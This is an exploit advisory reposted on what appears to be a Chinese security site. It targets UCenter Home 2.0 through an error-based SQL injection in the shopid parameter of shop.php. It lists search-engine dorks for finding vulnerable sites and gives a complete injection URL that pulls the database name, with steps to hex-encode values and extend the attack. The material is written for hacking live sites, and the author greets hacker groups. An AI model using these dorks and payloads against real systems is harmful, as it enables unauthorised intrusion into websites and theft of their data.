| */ Author : KnocKout */ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers */ Contact: [email protected] */ Cyber-Warrior.org/CWKnocKout __--==__--==__--==__--==__--==__--==__--==__--==__--==__--== Script : UCenter Home Version : 2.0 Script HomePage : http://u.discuz.net/ __--==__--==__--==__--==__--==__--==__--==__--==__--==__--== Dork : Powered by UCenter inurl:shop.php?ac=view Dork 2 : inurl:shop.php?ac=view&shopid= __--==__--==__--==__--==__--==__--==__--==__--==__--==__--== Vuln file : Shop.php value's : (?)ac=view&shopid= Vulnerable Style : SQL Injection (MySQL Error Based) Need Metarials : Hex Conversion __--==__--==__--==__--==__--==__--==__--==__--==__--==__--== Your Need victim Database name. for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 .. DB : Okey. your edit DB [TARGET DB NAME]Example : 'hiwir1_ucenter' Edit : Okey. Your use Hex conversion. And edit Your SQL Injection Exploit.. Exploit Code : 复制代码 |
UCenter Home 2.0 SQL Injection 注入漏洞
扫描二维码手机访问
上一篇: 星外虚拟主机0day
下一篇: 海盗湾创始人发起DDo$攻击
会员登录关闭
注册会员关闭